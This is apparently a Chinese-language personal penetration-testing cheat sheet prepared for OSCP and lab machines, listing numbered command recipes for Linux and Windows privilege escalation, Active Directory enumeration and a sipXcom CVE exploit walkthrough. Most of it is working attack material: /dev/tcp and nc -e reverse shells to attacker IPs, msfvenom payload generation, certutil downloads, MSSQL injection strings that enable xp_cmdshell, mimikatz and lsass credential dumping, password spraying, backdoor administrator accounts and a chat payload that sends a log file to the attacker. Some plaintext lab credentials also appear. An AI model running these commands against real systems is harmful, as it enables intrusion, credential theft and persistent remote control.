2
3
4
5


服务端
cat aa.txt | nc -l -p 10000
nc -l -p 10000 < aa.txt
客户端
nc -n 192.168.1.100 10000 > aa.txt

`plain 接收端执行命令：(6666为任意可用端口) nc -lvp 6666 > fileName 传输端执行命令： nc 目标ip 6666 < fileName`

43.wpscan

wpscan –url http://10.10.10.88:80/webservices/wp -e ap –plugins-detection aggressive -t 50 #全面扫插件

44.sudo

sudo -u 可以指定某个用户来使用它的sudo提升权限的应用

45.locate

locate backuper

类似于find 但比它方便

46.bash

/bin/bash bash -p #可以获取当前权限的新shell 有时候要写脚本可以用这个比如suid

1
2
3
4
5
6
7
8
9



```c

#include &lt;unistd.h&gt;
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}

```text

47.gcc

#版本兼容问题用static即可有些主机是32位的加上m32即可

gcc -static -m32 -o 1 1.c

48.irc

irc是一个聊天软件启动用hexchat就行配置其他的比较简单

49.ssh配置文件

https://blog.csdn.net/qq_41765918/article/details/126837789

1.公钥名字

在互信机器上面公钥的名字是authorized_keys，有多台机器请写多行，名字是根据/etc/ssh/sshd_config配置文件的AuthorizedKeysFile 参数确定的默认是authorized_keys

2.公钥路径

查看/etc/ssh/sshd_config配置文件，找到AuthorizedKeysFile .ssh/authorized_keys参数，如图

如果取消了注释，那么authorized_keys文件放置对应目录，如果没有取消注释，文件在~/.ssh/下面

3.权限

目录结构：~/.ssh/authorized_keys

authorized_keys文件权限600，.ssh目录权限700 ，~目录目录权限755

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


#禁用root账户登录，如果是用root用户登录请开启
PermitRootLogin yes

# 是否让 sshd 去检查用户家目录或相关档案的权限数据，
# 这是为了担心使用者将某些重要档案的权限设错，可能会导致一些问题所致。
# 例如使用者的 ~.ssh/ 权限设错时，某些特殊情况下会不许用户登入
StrictModes no

# 是否允许用户自行使用成对的密钥系统进行登入行为，仅针对 version 2。
# 至于自制的公钥数据就放置于用户家目录下的 .ssh/authorized_keys 内
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

# 有了证书登录了，就禁用密码登录。
PasswordAuthentication no

50.多开shell

1
2


setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
nohup setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &

51.缓冲区溢出(简述)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


info registers		#崩溃信息
disassemble				#后面加参数 disassemble main 查看这个函数的汇编代码
ldd								#查找动态链接库
ldd rop | grep libc		#rop为具体程序
readelf						#查找函数偏移量
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"		#查找system函数的偏移量
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"		#查找/bin/sh字符串地址
break *0x80484f8	#break打断点
x/20x $esp				#查看栈上的数据
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


Dump of assembler code for function vuln:
 0x080484f8 <+0>: push %ebp									#将调用的栈帧基址压入栈中
 0x080484f9 <+1>: mov %esp,%ebp						#改变ebp为当前栈顶
 0x080484fb <+3>: sub $0x38,%esp						#减少栈指针56个字节 分配出来
 0x080484fe <+6>: sub $0x8,%esp						#减少栈指针8个字节 分配出来
 0x08048501 <+9>: push 0x8(%ebp)						#从取出传递的参数8个字节压入栈中
 0x08048504 <+12>: lea -0x30(%ebp),%eax			#ebp减去48个字节 将地址给eax
 0x08048507 <+15>: push %eax									#将eax压入栈中
 0x08048508 <+16>: call 0x8048350 <strcpy@plt>	#调用strcpy函数
 0x0804850d <+21>: add $0x10,%esp
 0x08048510 <+24>: sub $0xc,%esp
 0x08048513 <+27>: push $0x80485dd
 0x08048518 <+32>: call 0x8048340 <printf@plt>
 0x0804851d <+37>: add $0x10,%esp
 0x08048520 <+40>: sub $0xc,%esp
 0x08048523 <+43>: lea -0x30(%ebp),%eax
 0x08048526 <+46>: push %eax
 0x08048527 <+47>: call 0x8048340 <printf@plt>
 0x0804852c <+52>: add $0x10,%esp
 0x0804852f <+55>: nop
 0x08048530 <+56>: leave
 0x08048531 <+57>: ret

52.windows 切换用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


runas /user:administrator cmd.exe

psexec -u app -p password powershell

$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# 方式1: Invoke-Command
Invoke-Command -ScriptBlock { 要执行的命令 } -Credential $cred

# 方式2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "要执行的命令"

53.msfvenom

在windows下反弹shell貌似变得有点麻烦他不像linux非常方便的将shell弹回来

此时需要各种各样的msfvenom的反弹shell的脚本这里用作记录

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


非msf的弹shell脚本 nc监听即可
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334

aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x> ./back.aspx

jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > shell.jsp

dll
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp

php
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw > shell.php

payloads作为-l的参数列出所有 payloads
此外，我们使用 --platform指定 payload 的平台，使用--arch 指定体系结构
msfvenom -l payloads --platform windows --arch x64

54.windows常规提权

一、烂土豆提权

https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md #找到对应版本的CLSID

https://www.cnblogs.com/J0o1ey/p/15714555.html 详细教程

查看RPC默认端口是否为135 如果被修改(例如为111) juicypotato的参数可以使用-n 111指定RPC端口
查看当前用户权限，是否符合要求 whoami /priv

如果开启SeImpersonate权限，juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限，juicypotato的参数可以使用-t u

如果均开启，可以选择-t *

如果均未开启，那么无法提权。

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer

1
2


echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 > shell.bat
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"

二、

55.impacket参数

1
2


smbserver.py kali . -smb2support #启动smb2协议
python smbpasswd.py tlavel@10.10.10.193

56.RPC枚举

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


rpcclient -U "" -N 10.10.10.248
rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193
rpcclient -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.132.140

# 查看所有用户
enumdomusers
# 查看所有组
enumlsgroups
# 查询某个用户属于哪个组
queryusergroups
queryusergroups 0x46c

# IT组就可以去改密码
# 如果权限错误是可以改密码的
setuserinfo christopher.lewis 23 'Admin!23'
setuserinfo2 christopher.lewis 23 'Admin!23'
setuserinfo3 christopher.lewis 23 'Admin!23'
这个可以通过winrm连

57.windows download

1
2
3


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe
curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe
certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe

58.git

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


git-dumper http://192.168.165.144/.git/ output_dir

# 提交新文件到git
git add shell.aspx
# 提交更改
git commit -m "add shell.aspx"
# 推送过去
git push origin main

git show #查看所有提交

添加所有更改：
git add . # 添加当前目录下所有更改
git add -A # 添加所有更改，包括删除的文件

添加特定文件：
git add file1.txt file2.txt # 添加多个指定文件
git add *.txt # 添加所有.txt文件

提交时也有类似选择：
git commit -m "message" # 提交所有已经add的文件
git commit file1.txt -m "message" # 提交特定文件
git commit -am "message" # 自动add并提交所有已追踪的更改文件

正常提交
git add .
git commit -m "test"
git push

私有token验证
git remote set-url origin https://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/your-group/your-project.git
git remote set-url origin http://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/skylark-rd/scratchpad

https://juejin.cn/post/7021023267028729887

59.ExifTool(元数据分析)

1
2


ExifTool 1.pdf
ExifTool -a -u 1.pdf

60.同步时钟(时间)

https://gitlab.com/NTPsec/ntpsec/-/issues/292

https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


ntpdate -u htb.local && date
ntpdate -u htb.local -6 && date
ntpdate -u htb.local -4 && date

rpcclient -U "" -N htb.local
rpcdump> gettime

net time -S htb.local

rdate -n htb.local

#同步
date -s "Sat Dec 7 05:14:11 2024"
date

61.windows读取 Microsoft Defender 排除列表

1

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

62.OSCP笔记-信息收集

whois是在43端口开放的

1
2
3
4


whois 38.100.193.70 -h 192.168.50.251
whois megacorpone.com -h 192.168.50.251

whois megacorpone.com -h 192.168.131.251

google 利用google爬虫做信息收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# 筛选txt为后缀的文件
site:megacorpone.com filetype:txt
# 去除后缀为htlm的文件
site:megacorpone.com -filetype:html

# 上面只是冰山一角 下面的可以查到很多信息
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com/

site:megacorpone.com intext:VP Of Legal

host

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
host www.megacorpone.com
host idontexist.megacorpone.com

cat list.txt
www
ftp
mail
owa
proxy
router

for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"

dns爆破

1
2
3
4
5
6
7
8
9


使用-d选项指定域名 使用-t指定要执行的枚举类型（在本例中为标准扫描）
dnsrecon -d megacorpone.com -t std

暴力破解尝试
-d 选项指定域名
-D指定包含潜在子域字符串的文件名
-t指定要执行的枚举类型
brt表示暴力破解
dnsrecon -d megacorpone.com -D ~/list.txt -t brt

1

dnsenum megacorpone.com

1
2


nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151

netcat

1
2
3
4
5
6
7
8


-w选项指定连接超时（以秒为单位）
-z指定零 I/O 模式 该模式用于扫描且不发送任何数据。
-u udp扫描
-nv 详细模式
-nvv 更详细模式

nc -nvv -w 1 -z 192.168.50.152 3388-3390
nc -nv -u -z -w 1 192.168.50.149 120-123

端口扫描

1

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null

63.MSSQL注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


https://y4er.com/posts/mssql-injection-learn
https://y4er.com/posts/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!

# 恢复xp_cmdshell
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--

# 测试xp_cmdshell是否开启 盲注
'; IF OBJECT_ID('xp_cmdshell') IS NOT NULL WAITFOR DELAY '0:0:5'; --
'; exec master..xp_cmdshell 'whoami'; WAITFOR DELAY '0:0:5'; --
'; IF (SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell') = 1 WAITFOR DELAY '0:0:5'; --
'; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = 'xp_cmdshell' AND value_in_use = 1) WAITFOR DELAY '0:0:5'; --

# 测试文件是否存在 存在延时五秒
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @@ERROR = 0 WAITFOR DELAY '0:0:5'; --
# 下面这个也是测试文件是否存在 但是好用
'; DECLARE @result int; EXEC @result = xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @result = 0 WAITFOR DELAY '0:0:5'; --
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs && ping -n 6 127.0.0.1'; --

# 执行shell
'; exec master..xp_cmdshell ' curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt '; --

提示:确认xp_cmdshell存在的时候 不一定非要去写文件 他是一个CMD
能执行很多命令的 比如curl下载文件再执行 在我看来写文件反而是个不好的决定

mssql语句

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth

-- 列出所有数据库
SELECT name FROM master.sys.databases
GO

-- 切换数据库
USE databasename
GO

-- 列出当前数据库所有表
SELECT name FROM sysobjects WHERE xtype = 'U'
GO

-- 查看某个表的内容
SELECT * FROM tablename
GO

powershell连接mssql

1
2
3


$sql = "Server=10.10.132.142;Database=master;Integrated Security=True;"
$conn = New-Object System.Data.SqlClient.SqlConnection($sql)
$conn.Open()

参考 https://blog.csdn.net/kk185800961/article/details/52513640

执行sql语句下面一条就行不行的话去上面查

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


$cmd.CommandText = "SELECT name FROM master.dbo.sysdatabases"; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close()

# 启用 xp_cmdshell
$cmd.CommandText = "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE"; $cmd.ExecuteScalar()

# 执行系统命令
$cmd.CommandText = "EXEC xp_cmdshell 'whoami'"; $cmd.ExecuteScalar()

# 当前用户
$cmd.CommandText = "SELECT SYSTEM_USER"; $cmd.ExecuteScalar()

# 当前用户是否是 sysadmin
$cmd.CommandText = "SELECT IS_SRVROLEMEMBER('sysadmin')"; $cmd.ExecuteScalar()

# 当前用户的数据库权限
$cmd.CommandText = "SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()"; $cmd.ExecuteScalar()

# 服务器级别权限
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'SERVER')"; $cmd.ExecuteScalar()

# 数据库级别权限
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'DATABASE')"; $cmd.ExecuteScalar()

# SQL Server 版本
$cmd.CommandText = "SELECT @@version"; $cmd.ExecuteScalar()

# 服务器名称
$cmd.CommandText = "SELECT @@SERVERNAME"; $cmd.ExecuteScalar()

# 当前数据库
$cmd.CommandText = "SELECT DB_NAME()"; $cmd.ExecuteScalar()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


mssql提权技巧

这是MSSQL的权限提升利用,通过IMPERSONATE权限实现:

首先检查能否模拟其他用户：

-- 查询可以模拟的用户
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

发现可以模拟hrappdb-reader用户
执行模拟：
EXECUTE AS LOGIN = 'hrappdb-reader'

模拟成功后就获得了hrappdb-reader的权限,可以访问hrappdb数据库

64.mimikatz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


# mimikatz 一键执行命令
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe /c "privilege::debug" /c "token::elevate" /c "lsadump::sam"
mimikatz "privilege::debug" "token::elevate" "lsadump::sam"

# 所有的凭证提取
 lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache
mimikatz.exe "lsadump::sam" "privilege::debug" "sekurlsa::msv" "lsadump::secrets" "lsadump::cache" "exit"
# 提取所有登录凭证
mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 或者专门提取域管理员的
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /user:administrator" "exit"

# 提取可能存在的账号密码
mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"

# 如果是管理员 可以尝试获取当前计算机上的票据
通过sekurlsa模块(从lsass内存)：

# 从运行的lsass进程
sekurlsa::tickets # 查看所有票据
sekurlsa::tickets /export # 导出所有票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"

# 从dump文件
sekurlsa::minidump lsass.dmp # 加载dump
sekurlsa::tickets # 查看dump中票据

通过kerberos模块(从当前会话)：

powershellCopy# 查看票据
kerberos::list # 列出当前会话票据
kerberos::tgt # 查看当前TGT
kerberos::purge # 清除所有票据(你说的这个)

# 导出票据
kerberos::list /export # 导出所有票据
# 默认导出为.kirbi文件

# 票据操作
kerberos::ptt ticket.kirbi # 注入票据(Pass The Ticket)

# 域控制器同步dcsync
.\mimikatz.exe
lsadump::dcsync /user:DC01\web_svc
lsadump::dcsync /user:corp\Administrator

65.域管登录历史

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# 查看域管理员的登录会话
query user /server:localhost

# 检查注册表中的登录历史
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"

# 创建 lsass dump
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp

# 然后用 Mimikatz 分析
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

66.域内信息收集

1
2
3
4
5
6


# 查看域控制器
nltest /dclist:medtech.com

# 或者
nslookup -type=SRV _ldap._tcp.medtech.com
nslookup -type=SRV _gc._tcp.medtech.com

67.ligolo-ng

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3

攻击机
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

靶机
.\agent.exe -connect 192.168.45.184:11601 -ignore-cert

配置路由
sudo ip route add 10.10.174.0/24 dev ligolo

session # 显示所有可用会话
session list # 列出所有会话
session <ID> # 选择特定会话ifconfig # 显示网络接口配置
info # 显示当前会话信息
listener_list # 显示所有监听器
bashCopystart # 启动所选会话
stop # 停止当前会话

68.windows添加用户到远程桌面组

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


#打开远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

cmd /c net user gesila Admin@123 /add
cmd /c net localgroup Administrators gesila /add
cmd /c net localgroup "Remote Desktop Users" gesila /add

# 域格式如下
xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea

# 本地如下
xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea

引用文件这样就行
xfreerdp file.rdp /d:skylark /u:kiosk /p:'XEwUS^9R2Gwt8O914'

69.windows_history

1

C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

70.powershell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage

Enter-PSSession -ComputerName CLIENT02 -Credential $cred
Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred

New-PSSession -ComputerName CLIENT02 -Credential $cred
New-PSSession -ComputerName 172.16.131.83 -Credential $cred
# 1. 使用会话ID进入已创建的会话
Enter-PSSession -Session (Get-PSSession -Id 18)

# 2. 或者使用ComputerName直接创建并进入新会话
Enter-PSSession -ComputerName CLIENT02 -Credential $cred

# 列出所有会话
Get-PSSession

# 删除会话
Remove-PSSession -Id 18

# 断开会话但不删除
Disconnect-PSSession -Id 18

# 重新连接会话
Connect-PSSession -Id 18

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#
icacls .\auditTracker.exe
# 看具体权限
Get-Acl .\auditTracker.exe
# 以高权限运行
sc.exe start audtiTracker
sc.exe qc auditTracker
# 查看文件是什么权限运行的
Start-Process .\auditTracker.exe -Verb RunAs
Get-Service auditTracker | Select-Object *

# 查看服务
 Get-Service "auditTracker"

1
2
3
4
5
6


schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select TaskPath,TaskName

schtasks /query /tn "任务名" /fo LIST /v
$task = Get-ScheduledTask -TaskName "任务名"
$task | Select *

71.域内枚举

这两个我用了很久了但是有些版本的有些参数不一样就全记一下吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success
# crackmapexec延时有问题 用jitter会报错 还是用netexec好点
netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5

有时候Connection Error: Error while reading from remote 需要手动验证一下

# 整体参数 可指定域名
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success

# https://github.com/ropnop/kerbrute/releases
# 用于Kerberos爆破
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
可以放到域成员主机上跑

72.漏洞其他用法

1
2
3
4
5
6
7


# 读取当前运行该程序用户身份
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ

keepass2john Database.kdbx > 1.txt
keepassxc Database.kdbx
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

73.imap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


imap命令

# 先登录
a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR

# 列出所有邮箱
a002 LIST "" "*"

# 选择收件箱
a003 SELECT INBOX

# 查看邮件
a004 FETCH 1:* FULL

# 查看状态
a005 STATUS INBOX (MESSAGES)

# 列出所有文件夹
a006 LSUB "" "*"

74.Library-MS File Attack

https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262

https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df

1

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav

75.postgres

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


https://www.cnblogs.com/renhaoblog/p/15035230.html

psql -h localhost -p 5432 -U postgres

# 指定数据库名称（默认是 postgres 数据库）
sudo /usr/bin/psql postgres

# 或者
sudo -u postgres /usr/bin/psql postgres

# 或者使用连接字符串
sudo /usr/bin/psql "postgresql:///postgres?user=postgres"

CREATE ROLE root WITH SUPERUSER LOGIN;

sudo psql -U postgres

76.windows服务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# CMD命令
sc query # 查询所有服务的基本信息
sc query state=all # 查询所有状态的服务
sc qc <服务名> # 查询特定服务的详细配置信息

sc stop <服务名>
sc start <服务名>

发现服务进程
tasklist | findstr GPGService
关闭它
taskkill /F /IM GPGService.exe

# PowerShell命令
Get-Service # 查看所有服务
Get-Service | Where-Object {$_.Status -eq "Running"} # 查看正在运行的服务
Get-Service -Name "服务名" # 查看特定服务

# 列出所有服务并筛选关键信息
sc query state= all | find /i "SERVICE_NAME" # 先获取所有服务名
# 然后遍历每个服务名查询配置
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "BINARY_PATH_NAME"

# 或者查找以LocalSystem运行的服务
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "SERVICE_START_NAME"

Get-WmiObject win32_service | Select-Object Name, PathName, StartName

sc query type= service | findstr /i "dev"

77.Windows DLL/EXE 搜索顺序漏洞利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


当服务路径中包含空格且没有使用引号时，Windows会按照以下顺序查找可执行文件：

CopyC:\Skylar.exe
C:\Skylar\Development.exe # 这就是为什么你的利用成功了！
C:\Skylark\Development Binaries.exe
C:\Skylark\Development Binaries 01.exe
C:\Skylark\Development Binaries 01\DevService.exe

在你的案例中：

服务路径是：C:\Skylark\Development Binaries 01\???????.exe
Windows遇到无法解析的文件名（?????）时，会按照上述顺序查找
你在C:\Skylark\放置了Development.exe
这正好匹配了搜索顺序中的第二个位置

漏洞的关键点：

路径中包含空格
路径没有用引号括起来
Windows的自动路径解析机制

78.tftp(udp)

之前在vulnhub上用过这个服务但是没做笔记这个特点就是没有dir之类的命令文件全靠猜

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


# 进入tftp交互模式
tftp 192.168.214.222 69

# 在交互模式中：
binary # 设置二进制传输模式
get file # 下载文件
put file # 上传文件

# 下载文件
atftp -g -r filename 192.168.214.222 69

# 上传文件
atftp -p -l localfile 192.168.214.222 69

# 下载文件
tftp 192.168.214.222 -c get remotefile.txt

# 上传文件
tftp 192.168.214.222 -c put localfile.txt

配置文件
cat /etc/xinetd.d/tftp

https://nmap.org/nsedoc/scripts/tftp-enum.html
nmap -sVU -p69 --script tftp-enum 192.168.214.222
/usr/share/metasploit-framework/data/wordlists/tftp.txt

79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP

很有意思的一个漏洞利用，期间非常非常坎坷，我在discord和claude的帮助下才勉强完成这一部分，可能是因为全部搞完了才觉得有意思，在我学习的过程中我感觉人都要傻了，在漏洞利用的过程中我整个人都是懵的，卡在这里共计一天半，基本上是做一部分就要思考，而且路上一直不行，一直不行，明明还不是特别了解漏洞利用原理就一直复现失败，好在最后解决了，并且如果一帆风顺或许我不会记这么牢也不会深刻了解这个东西，这个应用，在google的路上全都是cve编号，没有人搞这个东西。

先说关键点 https://sploitus.com/exploit?id=1337DAY-ID-38254 #这个博客是唯一讲解了这个漏洞原理的

这个博客我没有搜到过，我在discord里面找，他们给的链接都已经被删除，找不到原文，这是其他网站的备份，我已经下载到本地了，这也是我路上的一个误区，discord给的链接一直访问不了，我本以为就是这样，后续才发现是被删除了。

这个博客贯穿这个漏洞，基本上想要的东西都在里面，如果想自动化利用可以试试https://github.com/AlexLinov/sipXcom-RCE

我正是因为自动化不行才来做这个的，接下来解析复现这个漏洞。(因为OSCP保密协议我打码会非常多)

首先得有个凭证，低权限用户的就行，至于在哪里拿得看自己

确保能登陆。运行pidgin 记得以非root权限加上目标ip+port运行这也是关键点我不清楚这是否有影响但至少我全改好了之后就能成功了

登录低权限用户，在那个博客里介绍的是可以自行添加用户也就是点击下面的那个create this new account on the server，这里我没有用那个

如果要走代理的话不用多余配置多余配置proxy反而会卡住可以提示一下就是在退出后重新打开的时候会卡住没有任何反应 rm -rf ~/.purple/ 运行这个命令就行删除配置文件再打开就好了

遇到弹窗就点accept同意就行了不然进不去还有的就是 Domain是一定要填的而且对应的domain和ip要加到host里面不然可能索引不到服务器

绿灯才算连接成功其他情况肯定是配置出问题了网络软件都有可能

填这里就行主要是聊天添加好友填自己都行填完add加进去

添加完啥都没有看上面的图全部勾上我这里初始化是只勾了两个只有这样才能看到所有用户包括没同意好友离线之类的

双击图标聊天框就出来了构造payload

1
2
3
4
5
6
7


首先监听本地80端口

nc -lvnp 80

聊天框输入下面的东西

@call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc

不出意外就如上图里面是存在密码的原理就是里面存了聊天记录可能有些有意思的东西比如管理员的密码看就行了

